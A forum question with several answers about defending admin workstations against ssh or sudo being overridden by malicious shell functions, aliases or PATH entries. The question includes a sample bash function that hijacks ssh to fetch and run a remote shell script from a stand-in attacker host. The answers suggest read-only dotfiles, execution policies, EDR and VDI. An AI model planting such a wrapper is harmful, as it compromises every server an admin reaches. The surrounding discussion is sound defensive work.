I'm looking for effective ways to safeguard admin workstations from a concerning vulnerability: `ssh` or `sudo` getting overshadowed by shell functions, aliases, or wrappers earlier in the `$PATH`. This can happen if an attacker gains access to a user's dotfiles or writable `$PATH` entries, which means typing `ssh` may not actually execute `/usr/bin/ssh`.
For example, a malicious function could look like this:
```bash
ssh() {
/usr/bin/ssh "$@" 'curl -s http://hacker.com/remoteshell.sh | sh -s; bash -l'
}
export -f ssh
type -a ssh
```
In today's world, where many admins download and run random binaries from GitHub, it's realistic to be cautious, as the behavior of these binaries is often unknown. A subtle modification through a compromised `$PATH` or dotfiles could lead to a significant security risk.
People suggest using a bastion or jump host, but if the admin's laptop is compromised beforehand, that doesn't resolve the issue. Additionally, if the policy turns into "don't run unverified tools on laptops, do it on the bastion," admin users might find themselves downloading questionable scripts on the bastion, thus duplicating the risk.
What are some practical, real-world strategies for creating a secure "clean-room" environment for admin tasks? I'm considering utilizing a locked-down Docker or Podman container that includes SSH, Ansible, and kubectl with pinned versions, minimal mounts for sensitive files, and a read-only filesystem. Has anyone successfully implemented this approach, and are there any noteworthy challenges?
6 Answers
Running untrusted code isn't just risky, it's security 101! There must be a balance of enforcing strong policies and training users on the risks involved. Ensure you have proper monitoring for anomalies and utilize tools like AppArmor or SELinux to further secure your systems.
One solid tactic is to ensure that your dotfiles are read-only. This way, any attempts to modify them will be thwarted. If you're letting users download various tools, they should already be knowledgeable enough to bypass restrictions, so make it clear that either unsanctioned software isn’t allowed or be honest about the risks.
Consider using programs like fapolicyd to restrict execution to only those files installed by the package manager. That way, users can’t just run anything they download.
If you're really concerned about `$PATH` pointing to untrustworthy locations, it's a good idea to set it to a strict list of allowed directories. Lock down shell startup files so they can't be edited by users, or even run a custom script that resets any sensitive variables after loading their profiles.
It's wise to encourage admins to run any unverified binaries in a disposable VM or at least within a Podman container. This approach protects against both accidental bugs and deliberate malicious actions.
Indeed, the problem is that these attacks can look just like a user adjusting their own dotfiles. The bottom line is, if a user has that level of access, the system is already compromised. Implementing a bastion host can help, but you should really be focusing on proper endpoint detection and response (EDR) measures. Tools like Crowdstrike could help track down unusual behavior. My organization uses Virtual Desktop Infrastructure (VDI) so that our workstations are separate from sensitive systems, making it harder for an attacker to inject code and persist.
That’s a good point! Instead of just read-only, you might consider setting the immutable flag on critical files with `chattr +i filename.txt` to provide extra protection.